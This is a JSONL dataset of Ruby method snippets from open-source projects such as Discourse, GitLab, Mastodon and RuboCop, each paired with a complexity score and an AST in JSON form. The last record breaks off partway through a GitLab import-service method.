{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/report.rb","start_line":41,"raw_source":"def total_spending\n        total = total_input_spending + total_output_spending + total_cached_input_spending\n        total.round(2)\n      end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"total_spending\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"total\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_input_spending\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"total_output_spending\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"total_cached_input_spending\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total\"]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]}]}","id":"b2de897a-7147-4a03-8ef7-53dccb845426"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/indentation_width.rb","start_line":170,"raw_source":"def check_members(base, members)\n          check_indentation(base, select_check_member(members.first))\n\n          return unless members.any? && members.first.begin_type?\n\n          if indentation_consistency_style == 'indented_internal_methods'\n            check_members_for_indented_internal_methods_style(members)\n          else\n            check_members_for_normal_style(base, members)\n          end\n        end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_members\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]},{\"type\":\"arg\",\"children\":[\"members\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_indentation\",{\"type\":\"lvar\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"select_check_member\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"first\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"first\"]},\"begin_type?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"indentation_consistency_style\"]},\"==\",{\"type\":\"str\",\"children\":[\"indented_internal_methods\"]}]},{\"type\":\"send\",\"children\":[null,\"check_members_for_indented_internal_methods_style\",{\"type\":\"lvar\",\"children\":[\"members\"]}]},{\"type\":\"send\",\"children\":[null,\"check_members_for_normal_style\",{\"type\":\"lvar\",\"children\":[\"base\"]},{\"type\":\"lvar\",\"children\":[\"members\"]}]}]}]}]}","id":"e727499c-f635-4543-a4ed-184dc0c4b8eb"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/enterprise/api/v1/accounts_controller.rb","start_line":95,"raw_source":"def unmark_for_deletion\n    if @account.unmark_for_deletion\n      render json: { message: 'Account unmarked for deletion' }, status: :ok\n    else\n      render json: { message: @account.errors.full_messages.join(', ') }, status: :unprocessable_entity\n    end\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"unmark_for_deletion\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"unmark_for_deletion\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Account unmarked for deletion\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}","id":"07af7bcb-1bef-426e-86d2-798d528301e3"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/incoming_link_spec.rb","start_line":49,"raw_source":"def add(opts)\n      IncomingLink.add(req(opts))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IncomingLink\"]},\"add\",{\"type\":\"send\",\"children\":[null,\"req\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"0bb2f909-5abb-4ddc-94cb-44d398318903"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/wiki_pages/at_version.rb","start_line":73,"raw_source":"def journals\n    @journals ||= super.select { |j| j.version <= version.to_i }\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"journals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@journals\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"version\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"to_i\"]}]}]}]}]}","id":"5d1a0d33-f519-494f-9ef7-bbafe6276ea8"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/fusionforge.rb","start_line":32,"raw_source":"def import_users\n    puts \"\", \"creating users\"\n\n    total_count =\n      @client.exec(\n        \"\n        WITH relevant_posts AS (\n          SELECT DISTINCT posted_by FROM forum\n        )\n        SELECT\n          COUNT(DISTINCT user_id) AS count\n        FROM users u\n        JOIN relevant_posts f on u.user_id = f.posted_by\n        \",\n      ).first[\n        \"count\"\n      ]\n\n    batches(BATCH_SIZE) do |offset|\n      results =\n        @client.exec(\n          # Only select users which have some content\n          \"WITH relevant_posts AS (\n            SELECT DISTINCT posted_by FROM forum\n            )\n          SELECT\n            DISTINCT user_id, email, user_name, add_date, status, unix_pw\n          FROM users u\n          JOIN relevant_posts f on u.user_id = f.posted_by\n          LIMIT #{BATCH_SIZE}\n          OFFSET #{offset};\",\n        )\n\n      break if results.ntuples < 1\n\n      next if all_records_exist? :users, results.map { |u| u[\"user_id\"].to_i }\n      puts \"Creating users\"\n\n      create_users(results, total: total_count, offset: offset) do |user|\n        {\n          id: user[\"user_id\"],\n          email: user[\"email\"],\n          username: user[\"user_name\"],\n          name: user[\"name\"],\n          active: user[\"status\"] == \"A\" && user[\"unix_pw\"] != \"deleted\",\n          created_at: Time.zone.at(user[\"add_date\"].to_i),\n          last_emailed_at: nil, # default is \"now\", which is not true\n          approved: true,\n          # for https://github.com/communiteq/discourse-migratepassword/\n          # this field results in custom_fields['import_pass']. This also activates the accounts, see base.rb on `u.activate`.\n          password: user[\"unix_pw\"] != \"deleted\" ? user[\"unix_pw\"] : nil,\n        }\n      end\n    end\n  end","complexity_score":50.15,"ast_json":"{\"type\":\"def\",\"children\":[\"import_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"creating users\"]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        WITH relevant_posts AS (\\n\"]},{\"type\":\"str\",\"children\":[\"          SELECT DISTINCT posted_by FROM forum\\n\"]},{\"type\":\"str\",\"children\":[\"        )\\n\"]},{\"type\":\"str\",\"children\":[\"        SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"          COUNT(DISTINCT user_id) AS count\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM users u\\n\"]},{\"type\":\"str\",\"children\":[\"        JOIN relevant_posts f on u.user_id = f.posted_by\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"count\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH relevant_posts AS (\\n\"]},{\"type\":\"str\",\"children\":[\"            SELECT DISTINCT posted_by FROM forum\\n\"]},{\"type\":\"str\",\"children\":[\"            )\\n\"]},{\"type\":\"str\",\"children\":[\"          SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"            DISTINCT user_id, email, user_name, add_date, status, unix_pw\\n\"]},{\"type\":\"str\",\"children\":[\"          FROM users u\\n\"]},{\"type\":\"str\",\"children\":[\"          JOIN relevant_posts f on u.user_id = f.posted_by\\n\"]},{\"type\":\"str\",\"children\":[\"          LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          OFFSET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"ntuples\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_records_exist?\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]},\"to_i\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Creating users\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_users\",{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"A\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"unix_pw\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"deleted\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"add_date\"]}]},\"to_i\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_emailed_at\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"unix_pw\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"deleted\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"unix_pw\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}]}]}","id":"3d7811dd-09cf-466a-ac20-03108c04c9bf"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/promotion.rb","start_line":52,"raw_source":"def change_trust_level!(level, opts = {})\n    raise \"Invalid trust level #{level}\" unless TrustLevel.valid?(level)\n\n    old_level = @user.trust_level\n    new_level = level\n\n    if new_level < old_level && @user.manual_locked_trust_level.nil?\n      next_up = new_level + 1\n      key = \"tl#{next_up}_met?\"\n      if self.class.respond_to?(key) && self.class.public_send(key, @user)\n        raise Discourse::InvalidAccess.new,\n              I18n.t(\n                \"trust_levels.change_failed_explanation\",\n                user_name: @user.name,\n                new_trust_level: new_level,\n                current_trust_level: old_level,\n              )\n      end\n    end\n\n    admin = opts && opts[:log_action_for]\n\n    @user.trust_level = new_level\n    @user.user_profile.bio_raw_will_change! # So it can get re-cooked based on the new trust level\n\n    @user.transaction do\n      if admin\n        StaffActionLogger.new(admin).log_trust_level_change(@user, old_level, new_level)\n      else\n        UserHistory.create!(\n          action: UserHistory.actions[:auto_trust_level_change],\n          target_user_id: @user.id,\n          previous_value: old_level,\n          new_value: new_level,\n        )\n      end\n      @user.skip_email_validation = true\n      @user.save!\n      @user.user_profile.recook_bio\n      @user.user_profile.save!\n      DiscourseEvent.trigger(\n        :user_promoted,\n        user_id: @user.id,\n        new_trust_level: new_level,\n        old_trust_level: old_level,\n      )\n      Group.user_trust_level_change!(@user.id, @user.trust_level)\n      BadgeGranter.queue_badge_grant(Badge::Trigger::TrustLevelChange, user: @user)\n    end\n\n    true\n  end","complexity_score":64.25,"ast_json":"{\"type\":\"def\",\"children\":[\"change_trust_level!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrustLevel\"]},\"valid?\",{\"type\":\"lvar\",\"children\":[\"level\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid trust level \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"old_level\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"trust_level\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_level\",{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_level\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"old_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"manual_locked_trust_level\"]},\"nil?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"next_up\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_level\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tl\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_up\"]}]},{\"type\":\"str\",\"children\":[\"_met?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]},\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"trust_levels.change_failed_explanation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_trust_level\"]},{\"type\":\"lvar\",\"children\":[\"new_level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_trust_level\"]},{\"type\":\"lvar\",\"children\":[\"old_level\"]}]}]}]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"admin\",{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"log_action_for\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"trust_level=\",{\"type\":\"lvar\",\"children\":[\"new_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"user_profile\"]},\"bio_raw_will_change!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StaffActionLogger\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"admin\"]}]},\"log_trust_level_change\",{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"lvar\",\"children\":[\"old_level\"]},{\"type\":\"lvar\",\"children\":[\"new_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auto_trust_level_change\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"previous_value\"]},{\"type\":\"lvar\",\"children\":[\"old_level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_value\"]},{\"type\":\"lvar\",\"children\":[\"new_level\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"skip_email_validation=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"user_profile\"]},\"recook_bio\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"user_profile\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEvent\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"user_promoted\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_trust_level\"]},{\"type\":\"lvar\",\"children\":[\"new_level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_trust_level\"]},{\"type\":\"lvar\",\"children\":[\"old_level\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"user_trust_level_change!\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"trust_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BadgeGranter\"]},\"queue_badge_grant\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badge\"]},\"Trigger\"]},\"TrustLevelChange\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"8d9b522c-2171-4d50-8e8a-82be9a53f677"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/autocomplete/group_users_finder.rb","start_line":35,"raw_source":"def member_relations\n      [\n        members_from_group_hierarchy.select(:user_id),\n        members_from_hierarchy_group_shares.select(:user_id),\n        members_from_descendant_projects.select(:user_id),\n        members_from_descendant_project_shares.select(:user_id)\n      ]\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"member_relations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members_from_group_hierarchy\"]},\"select\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members_from_hierarchy_group_shares\"]},\"select\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members_from_descendant_projects\"]},\"select\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members_from_descendant_project_shares\"]},\"select\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}","id":"76d5a1c2-eff4-4465-9115-94830de32e75"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/date_calculator/test_lunar_date.rb","start_line":6,"raw_source":"def setup\n    @subject = Holidays::DateCalculator::LunarDate.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@subject\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"DateCalculator\"]},\"LunarDate\"]},\"new\"]}]}]}","id":"a675f9b9-a9f7-40b8-8488-65d793824b1d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/policies/resource_milestone_event_policy_spec.rb","start_line":64,"raw_source":"def build_event(project)\n    milestone = create(:milestone, project: project)\n\n    build(:resource_milestone_event, issue: issue, milestone: milestone)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"milestone\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"milestone\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"build\",{\"type\":\"sym\",\"children\":[\"resource_milestone_event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"send\",\"children\":[null,\"issue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestone\"]},{\"type\":\"lvar\",\"children\":[\"milestone\"]}]}]}]}]}]}","id":"2d26ef2b-5ed7-465d-b970-cca3d533f6ee"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/concerns/account_owned_concern.rb","start_line":36,"raw_source":"def check_account_confirmation\n    not_found if @account.local? && !@account.user_confirmed?\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_account_confirmation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"local?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"user_confirmed?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"not_found\"]},null]}]}","id":"60191f58-04d0-4c3d-81b3-f77c8f8f9348"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/bitbucket_server_service.rb","start_line":37,"raw_source":"def create_project(credentials)\n      Gitlab::BitbucketServerImport::ProjectCreator.new(\n        project_key,\n        repo_slug,\n        repo,\n        project_name,\n        target_namespace,\n        current_user,\n        credentials,\n        timeout_strategy\n      ).execute\n    